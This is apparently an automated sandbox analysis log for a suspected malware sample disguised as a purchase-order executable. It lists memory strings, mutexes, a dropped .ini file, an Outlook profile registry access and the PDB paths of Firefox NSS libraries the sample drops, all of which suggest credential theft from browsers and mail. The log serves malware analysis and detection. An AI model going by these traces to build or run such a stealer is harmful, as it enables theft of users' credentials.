Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index */ path TEXT, /* Path to page from root */ pageno INTEGER, /* Page number */ pagetype TEXT, /* 'internal', 'leaf' or 'overflow' */ ncell INTEGER, /* Cells on page (0 for overflow) */ payload INTEGER, /* Bytes of payload on this page */ unused INTEGER, /* Bytes of unused space on this page */ mx_payload INTEGER, /* Largest payload size of all cells */ pgoffset INTEGER, /* Offset of page in file */ pgsize INTEGER, /* Size of the page */ schema TEXT HIDDEN /* Database schema being analyzed */);
Source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3384:120:WilError_03
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Mutant created: \Sessions\1\BaseNamedObjects\AB1F56922-9414907A-A61E15EF-E1A93A45-640FB406
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3384:304:WilStaging_02
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File written: C:\Users\user\Overfurnished\Tuberculisation\Woodwose\Afskede\Hitherunto\Sale\Swedish.ini Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook Jump to behavior
Source: PO No. 3200005919.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7160196459.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197174638.000000001E688000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7197871193.000000001E6B0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197956244.000000001E6B4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7164106750.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197668078.000000001E69C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197360510.000000001E698000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7164222655.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199694393.000000001D928000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201066945.000000001D980000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7172137254.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7172491492.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: PO No. 3200005919.exe, 00000005.00000003.7177302038.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7180029711.0000000000060000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr
Source: Binary string: ucrtbase.pdb source: PO No. 3200005919.exe, 00000005.00000003.7214861281.000000001DB7C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7186840993.000000001E6C0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7189033393.0000000000060000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.5.dr
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192477101.000000001E5F8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192708827.000000001E600000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192605806.000000001E5FC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7139684497.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.5.dr
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7193344870.000000001E61C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192860880.000000001E610000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193449641.000000001E620000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193081967.000000001E614000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7145957838.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193561822.000000001E624000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193218179.000000001E618000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7170103702.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7170941292.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199694393.000000001D928000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7168388100.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.5.dr
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7155669494.000000001DCBC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196318925.000000001E658000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7154557567.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196171931.000000001E654000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7196731869.000000001E670000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7159539905.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196892223.000000001E674000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197003158.000000001E678000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7164222655.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7165324032.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192860880.000000001E610000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193081967.000000001E614000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7144272032.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196318925.000000001E658000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196442274.000000001E65C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7156953736.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196171931.000000001E654000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196550840.000000001E660000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7195041195.000000001E63C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195525464.000000001E644000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7153506909.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195985940.000000001E64C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195289045.000000001E640000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7195774303.000000001E648000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7152463127.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.5.dr
Source: Binary string: vcruntime140.i386.pdbGCTL source: PO No. 3200005919.exe, 00000005.00000003.7191720901.000000001DCC8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7216382572.000000001DC98000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7196731869.000000001E670000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7196892223.000000001E674000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199694393.000000001D928000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201066945.000000001D980000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7172137254.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7172491492.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.5.dr
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192477101.000000001E5F8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7138655949.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7194158681.000000001E634000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7194634564.000000001E638000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7193638820.000000001E630000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7150187588.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: PO No. 3200005919.exe, 00000005.00000003.7198074012.000000001D920000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199061062.000000001D924000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7170103702.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7170941292.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7199694393.000000001D928000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7168388100.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7200410147.000000001D92C000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.5.dr
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000002.7280858464.000000001E270000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7192477101.000000001E5F8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192605806.000000001E5FC000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192063322.000000001E5F0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7192298891.000000001E5F4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7139597928.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7138655949.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7139684497.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-private-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7197668078.000000001E69C000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7162881339.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7197360510.000000001E698000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7163552141.000000001DCC4000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.5.dr
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: PO No. 3200005919.exe, 00000005.00000003.7196731869.000000001E670000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7157618680.000000001DCB4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7158930983.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7158247147.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7158985607.000000001DCB8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7268762679.000000001DD58000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.5.dr
Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: PO No. 3200005919.exe, 00000005.00000003.7185437486.000000001DCC0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7185063204.000000001DCE8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7208087648.000000001DA10000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7201261462.000000001D9D0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7183429342.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7213087314.000000001DB58000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7211428448.000000001DB40000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr
Source: Binary string: qipcap.pdb source: PO No. 3200005919.exe, 00000001.00000002.7112633568.000000000040A000.00000004.00000001.01000000.00000003.sdmp, PO No. 3200005919.exe, 00000001.00000002.7114872753.000000000289B000.00000004.00000800.00020000.00000000.sdmp, qipcap.dll.1.dr
Source: Binary string: msvcp140.i386.pdb source: PO No. 3200005919.exe, 00000005.00000003.7207591372.000000001D9A8000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7174962411.000000001DCB0000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000003.7174178046.000000001D3C4000.00000004.00001000.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.5.dr
